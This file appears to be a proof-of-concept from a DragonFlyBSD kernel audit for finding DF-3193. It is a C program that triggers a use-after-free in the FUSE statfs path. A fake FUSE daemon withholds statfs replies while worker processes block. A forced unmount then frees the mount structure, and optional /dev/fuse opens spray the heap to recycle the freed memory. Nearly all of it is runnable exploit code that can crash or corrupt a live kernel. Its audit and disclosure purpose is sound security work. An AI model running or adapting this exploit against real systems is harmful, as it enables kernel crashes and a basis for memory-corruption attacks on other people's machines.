โฌข DragonFlyBSD Kernel Audit
DF-3193 / uaf.c
โ† back to finding โ†“ download raw
/*
 * DF-3193 โ€” fuse_statfs()/fuse_statvfs() take no reference on fmp and,
 * because FUSE sets MNTK_ALL_MPSAFE (fuse_vfsops.c:190), the VFS_MPLOCK
 * wrapper is a no-op (sys/mount.h:408-417): kern_statfs() (which holds
 * only a namecache ref and no vfs_busy) can sit in fuse_ipc_tx() waiting
 * for the daemon while a forced umount runs fuse_unmount() to completion
 * โ€” including fuse_mount_free() freeing fmp (fuse_vfsops.c:293) after the
 * daemon's fd close drops the last ref.  When the statfs thread later
 * wakes (5s tsleep / 30s ETIMEDOUT), fuse_ipc_wait()/fuse_ipc_remove()
 * dereference the freed fmp:
 *   fuse_ipc.c:163  fuse_test_dead(fip->fmp)      โ€” read of freed memory
 *   fuse_ipc.c:186  fuse_ipc_remove() โ†’ mtx_lock(&fmp->ipc_lock)
 *                   + TAILQ_FOREACH(&fmp->request_head) โ€” lock/walk of
 *                   freed (possibly recycled) kernel memory.
 *
 * Trigger schedule (deterministic with a cooperating daemon):
 *   t=0    workers statfs() the mount; daemon READS the FUSE_STATFS
 *          requests and never replies (workers sleep in tsleep 5s).
 *   t=0.3  root: unmount(MNT_FORCE).  Daemon replies FUSE_DESTROY
 *          instantly, exits and closes /dev/fuse -> cdevpriv dtor drops
 *          the final ref -> fmp kfree'd.
 *   t=0.5  spray opens of /dev/fuse (fresh zeroed fmps recycle the freed
 *          block) and mount/unmount churn to scramble the zone.
 *   t=5..30  workers wake on recycled memory: fmp->dead read; at
 *          ETIMEDOUT, mtx_lock + list walk of recycled memory.
 *
 * Repeat N cycles; crash is probabilistic on what recycles the block
 * (INVARIANTS mutex assertions fire when the recycled bytes at the
 * ipc_lock offset are non-zero).
 *
 * Build:  cc -O2 -Wall -o uaf uaf.c
 * Run (root):  ./uaf [cycles]
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/wait.h>
#include <sys/stat.h>

#define FUSE_KERNEL_VERSION       7
#define FUSE_KERNEL_MINOR_VERSION 28
#define FUSE_ROOT_ID              1

#define FUSE_FORGET   2
#define FUSE_GETATTR  3
#define FUSE_STATFS  17
#define FUSE_INIT    26
#define FUSE_DESTROY 38

struct fuse_in_header  { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; };
struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; };
struct fuse_init_out   { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; };
struct fuse_kstatfs    { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; };
struct fuse_statfs_out { struct fuse_kstatfs st; };

struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; };

static int ctl_pipe[2];      /* coordinator -> daemon: 'S' = starve STATFS */
static int g_fd = -1;

static void dlog(const char *fmt, ...) {
    va_list ap; va_start(ap, fmt);
    printf("[%d] ", (int)getpid());
    vprintf(fmt, ap);
    va_end(ap);
    fflush(stdout);
}

static void send_reply(int fd, uint64_t unique, int32_t error,
                       const void *payload, size_t payload_len) {
    size_t actual = sizeof(struct fuse_out_header) + payload_len;
    uint8_t *out = calloc(1, actual);
    struct fuse_out_header *ohd = (struct fuse_out_header *)out;
    ohd->unique = unique;
    ohd->error  = error;
    ohd->len    = (uint32_t)actual;
    if (payload && payload_len)
        memcpy(out + sizeof(*ohd), payload, payload_len);
    write(fd, out, actual);
    free(out);
}

/*
 * daemon: replies to everything, but STARVES FUSE_STATFS once told to,
 * and after seeing FUSE_DESTROY replies, exits (dropping the final fmp ref).
 */
static void daemon_loop(void) {
    int starve = 0;
    fcntl(ctl_pipe[0], F_SETFL, O_NONBLOCK);
    for (;;) {
        uint8_t req[65536];
        struct fuse_in_header ihd;
        ssize_t n;

        char c;
        while (read(ctl_pipe[0], &c, 1) == 1) {
            if (c == 'S') { starve = 1; dlog("daemon: STARVING STATFS from now on\n"); }
        }

        n = read(g_fd, req, sizeof(req));
        if (n <= 0) { dlog("daemon read end: %s\n", strerror(errno)); _exit(0); }
        if ((size_t)n < sizeof(ihd)) continue;
        memcpy(&ihd, req, sizeof(ihd));

        if (ihd.opcode == FUSE_STATFS && starve) {
            dlog("daemon: WITHHOLDING reply for FUSE_STATFS unique=%ju\n",
                 (uintmax_t)ihd.unique);
            continue;   /* worker now sleeps in the kernel on this fip */
        }

        switch (ihd.opcode) {
        case FUSE_INIT: {
            struct fuse_init_out io;
            memset(&io, 0, sizeof(io));
            io.major = FUSE_KERNEL_VERSION;
            io.minor = FUSE_KERNEL_MINOR_VERSION;
            io.max_readahead = 4096;
            io.max_write = 1 << 20;
            io.max_pages = 256;
            send_reply(g_fd, ihd.unique, 0, &io, sizeof(io));
            break;
        }
        case FUSE_STATFS: {
            struct fuse_statfs_out so;
            memset(&so, 0, sizeof(so));
            so.st.blocks = 1 << 20; so.st.bfree = 1 << 19; so.st.bavail = 1 << 19;
            so.st.files = 1 << 16;  so.st.ffree = 1 << 15;
            so.st.bsize = 4096; so.st.frsize = 4096; so.st.namelen = 255;
            send_reply(g_fd, ihd.unique, 0, &so, sizeof(so));
            break;
        }
        case FUSE_DESTROY:
            dlog("daemon: FUSE_DESTROY -> reply, exit, close(fd) => fmp freed\n");
            send_reply(g_fd, ihd.unique, 0, NULL, 0);
            close(g_fd);
            _exit(0);
        case FUSE_FORGET:
            break;
        default:
            send_reply(g_fd, ihd.unique, -ENOSYS, NULL, 0);
            break;
        }
    }
}

static void worker(int idx) {
    struct statfs sf;
    /* each worker issues statfs() and blocks ~30s in fuse_ipc_tx */
    dlog("worker %d: statfs() ...\n", idx);
    if (statfs("/mnt/dfc", &sf) < 0)
        dlog("worker %d: statfs errno=%d (%s) โ€” returned through freed-fmp path\n",
             idx, errno, strerror(errno));
    else
        dlog("worker %d: statfs OK (unexpected)\n", idx);
    _exit(0);
}

int main(int argc, char **argv) {
    int cycles = (argc > 1) ? atoi(argv[1]) : 6;
    struct fuse_mount_info args;
    pid_t daemon;

    setvbuf(stdout, NULL, _IONBF, 0);
    if (pipe(ctl_pipe) < 0) { perror("pipe"); return 1; }

    mkdir("/mnt/dfc", 0755);

    for (int cyc = 0; cyc < cycles; cyc++) {
        dlog("=== cycle %d ===\n", cyc);

        g_fd = open("/dev/fuse", O_RDWR);
        if (g_fd < 0) { perror("open /dev/fuse"); return 1; }

        daemon = fork();
        if (daemon == 0) { close(ctl_pipe[1]); daemon_loop(); }

        close(ctl_pipe[0]);   /* coordinator keeps write end */
        /* note: only the coordinator writes; re-open read end usage is
           daemon-side; pipe() gave us both, we close ours read end */

        memset(&args, 0, sizeof(args));
        args.fd   = g_fd;
        args.from = "/dev/fuse";
        args.max_read = 1 << 20;
        if (mount("fuse", "/mnt/dfc", 0, &args) < 0) {
            dlog("mount failed: %s\n", strerror(errno));
            return 1;
        }
        dlog("mounted /mnt/dfc (fd=%d)\n", g_fd);

        /* tell daemon to starve STATFS replies from now on */
        write(ctl_pipe[1], "S", 1);
        usleep(100000);

        /* in-flight statfs workers */
        for (int i = 0; i < 4; i++)
            if (fork() == 0) worker(i);

        usleep(300000);

        /* forced umount while workers sleep on the daemon */
        dlog("umount -f /mnt/dfc ...\n");
        if (unmount("/mnt/dfc", MNT_FORCE) < 0)
            dlog("umount failed: %s\n", strerror(errno));
        else
            dlog("umount OK โ€” fmp refcount now depends on daemon fd only\n");

        /* recycle the freed fmp block: spray fresh (zeroed) fmp objects.
         * SPRAY=0 (default) leaves the block to natural recycle โ€” garbage
         * at fmp->ipc_lock offsets trips INVARIANTS mtx checks / spins. */
        {
            const char *e = getenv("SPRAY");
            int ns = (e && atoi(e) > 0) ? atoi(e) : 0;
            for (int i = 0; i < ns; i++) {
                int s = open("/dev/fuse", O_RDWR);
                if (s >= 0) close(s);
            }
        }
        dlog("sprayed /dev/fuse opens; waiting for workers to wake on "
             "freed/recycled fmp ...\n");

        /* reap workers (they wake at 5s..30s and touch freed fmp) */
        int st;
        while (wait(&st) > 0)
            ;
        dlog("cycle %d: workers reaped (kernel survived this round?)\n", cyc);

        /* re-create pipe pair for next cycle (drop old write end) */
        close(ctl_pipe[1]);
        if (pipe(ctl_pipe) < 0) { perror("pipe2"); return 1; }
        close(ctl_pipe[0]);
    }
    dlog("all cycles done, no panic observed\n");
    return 0;
}